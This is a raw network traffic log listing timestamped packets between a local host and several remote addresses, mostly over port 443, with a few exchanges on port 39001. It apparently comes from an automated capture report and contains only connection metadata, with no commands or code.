Apr 23, 2024 23:02:24.262463093 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.262547016 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.262598991 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.269305944 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.269406080 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.269433975 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.269839048 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.271476984 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.271498919 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.271976948 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.272705078 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.272794962 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.272851944 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.280122042 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.289679050 CEST	39001	49859	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:24.291448116 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291496992 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291546106 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.291564941 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291591883 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.291632891 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291671991 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.291681051 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291686058 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.291712999 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291742086 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.291760921 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.291824102 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291862965 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291887045 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.291894913 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.291908979 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.292053938 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.293114901 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.294135094 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:24.294150114 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:24.304136992 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.320116043 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.328507900 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.328533888 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.328624964 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.328624964 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.328696966 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.339014053 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.339075089 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.339091063 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.340611935 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.340647936 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.340677977 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.340703964 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.340750933 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.342475891 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.342525959 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.342534065 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.349881887 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.349966049 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.349973917 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.354379892 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.354459047 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.354480028 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.354516029 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.354593992 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.357356071 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.357407093 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.357414007 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.358208895 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.358280897 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.358289957 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.364845037 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.364917994 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.364923954 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.372153997 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.372210026 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.372215986 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.379578114 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.379627943 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.379633904 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.386980057 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.387193918 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.387226105 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.390676975 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.390723944 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.390741110 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.390757084 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.390788078 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.393759012 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.393805027 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.393811941 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.396596909 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.396761894 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.400623083 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.402955055 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.402964115 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.404495001 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.404567957 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.404581070 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.405925035 CEST	39001	49873	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:24.407443047 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.407577991 CEST	49873	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:24.408055067 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.408066034 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.411772013 CEST	443	49872	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.417913914 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.417988062 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.418041945 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.418050051 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.420572042 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.424482107 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.425388098 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.425435066 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.425453901 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.425465107 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.425478935 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.425529003 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.425678968 CEST	49866	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.425703049 CEST	443	49866	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.445086956 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.445226908 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.447081089 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.447103024 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.447197914 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.448415041 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.455202103 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.455302954 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.455370903 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.455393076 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.455437899 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.457427025 CEST	443	49874	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.461688995 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.463162899 CEST	49874	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.463181019 CEST	443	49874	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.464692116 CEST	443	49874	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.464754105 CEST	49874	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.465881109 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.465935946 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.465948105 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.465966940 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.465976000 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.465985060 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.466000080 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.466011047 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.466027021 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.466053963 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.467726946 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.467804909 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.467827082 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.467840910 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.467885971 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.468067884 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.468189955 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.468230963 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.468239069 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.468400955 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.473999977 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.479918003 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.480015039 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.480149984 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.480212927 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.480539083 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.480549097 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.481203079 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.482409000 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.482438087 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.482446909 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.482464075 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.482471943 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.482491970 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.482507944 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.482532024 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.482542038 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.482575893 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.484909058 CEST	49874	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.485107899 CEST	443	49874	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.485306025 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.490679026 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.490712881 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.492402077 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.492445946 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.492455006 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.492468119 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.492506027 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.492511988 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.492537022 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.492539883 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.492542982 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.492566109 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.492594957 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.493797064 CEST	49872	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.496156931 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.501626015 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.502393007 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.502403021 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.504414082 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.504554033 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.504560947 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.509888887 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.512557030 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.512564898 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.515294075 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.516540051 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.516547918 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.518449068 CEST	49874	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.518465996 CEST	443	49874	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.520580053 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.520978928 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.520987034 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.525332928 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.525613070 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.525620937 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.529962063 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.530006886 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.530014992 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.534539938 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.534609079 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.534615993 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.539114952 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.539159060 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.539170027 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.543924093 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.543984890 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.543992043 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.548034906 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.548126936 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.548134089 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.552361012 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.552444935 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.552452087 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.556813955 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.556899071 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.556907892 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.562562943 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.562607050 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.562608004 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.562627077 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.562664032 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.565382957 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.568186045 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.568219900 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.568240881 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.568248987 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.568331957 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.569210052 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.569221020 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.569293022 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.569305897 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.570889950 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.573643923 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.573685884 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.573688030 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.573698997 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.573736906 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.576399088 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.579127073 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.579165936 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.579261065 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.579272985 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.579406023 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.581866026 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.584580898 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.584629059 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.585922956 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.585936069 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.585988998 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.585999012 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.586025953 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.586035013 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.586072922 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.587330103 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.587543964 CEST	49874	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.590092897 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.590130091 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.592569113 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.592577934 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.593024969 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.595462084 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.595523119 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.595529079 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.596205950 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.596285105 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.596299887 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.596560001 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.596843958 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.599560022 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.599623919 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.599632025 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.599816084 CEST	443	49867	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:24.600577116 CEST	49867	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:24.601586103 CEST	49876	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.601638079 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.601648092 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.601666927 CEST	443	49876	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.601676941 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.601686001 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.601706982 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.601717949 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.601747036 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.601779938 CEST	49876	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.601983070 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.602009058 CEST	49876	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.602037907 CEST	443	49876	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.609220982 CEST	49868	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.609241962 CEST	443	49868	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.615539074 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.615559101 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.615628004 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.615654945 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.616430998 CEST	49877	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.616471052 CEST	443	49877	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.616585016 CEST	49877	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.617089033 CEST	49877	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.617104053 CEST	443	49877	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.618643999 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.618697882 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.618716955 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.618727922 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.618736982 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.618765116 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.618777990 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.618796110 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.628595114 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.628622055 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.628676891 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.628700972 CEST	443	49871	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.628731012 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.628753901 CEST	49871	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.632452965 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.632554054 CEST	49870	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.632566929 CEST	443	49870	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.636388063 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.636468887 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.636487007 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.636498928 CEST	443	49869	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:24.636523008 CEST	443	49869	23.11.231.163	192.168.2.4
